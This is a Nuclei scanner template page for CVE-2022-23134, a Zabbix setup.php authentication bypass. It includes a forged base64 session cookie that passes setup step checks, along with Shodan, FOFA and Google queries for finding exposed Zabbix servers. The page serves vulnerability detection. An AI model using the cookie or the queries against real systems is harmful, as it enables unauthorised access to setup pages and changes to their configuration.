Skip to content
Nuclei Templates

Zabbix Setup Configuration Authentication Bypass

ID: CVE-2022-23134

Severity: medium

Author: bananabr

Tags: cve,cve2022,zabbix,auth-bypass,kev

Description

Section titled “Description”

After the initial setup process, some steps of setup.php file are reachable not only by super-administrators but also by unauthenticated users. A malicious actor can pass step checks and potentially change the configuration of Zabbix Frontend.

YAML Source

Section titled “YAML Source”
id: CVE-2022-23134


info:
  name: Zabbix Setup Configuration Authentication Bypass
  author: bananabr
  severity: medium
  description: After the initial setup process, some steps of setup.php file are reachable not only by super-administrators but also by unauthenticated users. A malicious actor can pass step checks and potentially change the configuration of Zabbix Frontend.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information and potential compromise of the Zabbix setup configuration.
  remediation: |
    Apply the latest security patches or updates provided by Zabbix to fix the authentication bypass vulnerability.
  reference:
    - https://blog.sonarsource.com/zabbix-case-study-of-unsafe-session-storage
    - https://nvd.nist.gov/vuln/detail/CVE-2022-23134
    - https://support.zabbix.com/browse/ZBX-20384
    - https://lists.fedoraproject.org/archives/list/[email protected]/message/6SZYHXINBKCY42ITFSNCYE7KCSF33VRA/
    - https://lists.debian.org/debian-lts-announce/2022/02/msg00008.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
    cvss-score: 5.3
    cve-id: CVE-2022-23134
    cwe-id: CWE-287,CWE-284
    epss-score: 0.6298
    epss-percentile: 0.97835
    cpe: cpe:2.3:a:zabbix:zabbix:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: zabbix
    product: zabbix
    shodan-query:
      - http.favicon.hash:892542951
      - http.title:"zabbix-server"
      - cpe:"cpe:2.3:a:zabbix:zabbix"
    fofa-query:
      - icon_hash=892542951
      - app="zabbix-监控系统" && body="saml"
      - title="zabbix-server"
    google-query: intitle:"zabbix-server"
  tags: cve,cve2022,zabbix,auth-bypass,kev


http:
  - method: GET
    path:
      - "{{BaseURL}}/zabbix/setup.php"
      - "{{BaseURL}}/setup.php"


    stop-at-first-match: true


    headers:
      Cookie: "zbx_session=eyJzZXNzaW9uaWQiOiJJTlZBTElEIiwiY2hlY2tfZmllbGRzX3Jlc3VsdCI6dHJ1ZSwic3RlcCI6Niwic2VydmVyQ2hlY2tSZXN1bHQiOnRydWUsInNlcnZlckNoZWNrVGltZSI6MTY0NTEyMzcwNCwic2lnbiI6IklOVkFMSUQifQ%3D%3D"


    matchers-condition: and
    matchers:
      - type: word
        words:
          - "Database"
          - "host"
          - "port"
          - "Zabbix"
        condition: and


      - type: word
        words:
          - "youtube_main"
          - "support.google.com"
        part: header
        condition: and
        negative: true


      - type: status
        status:
          - 200
# digest: 490a00463044022071219c0eaf095e1fe127e0135e66ba1ae3645665db9b60d072e364d4331f3bf00220699592a598949917849d830a49f647bef9cc33a021299be7c3193fce247b3abe:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-23134.yaml"

View on Github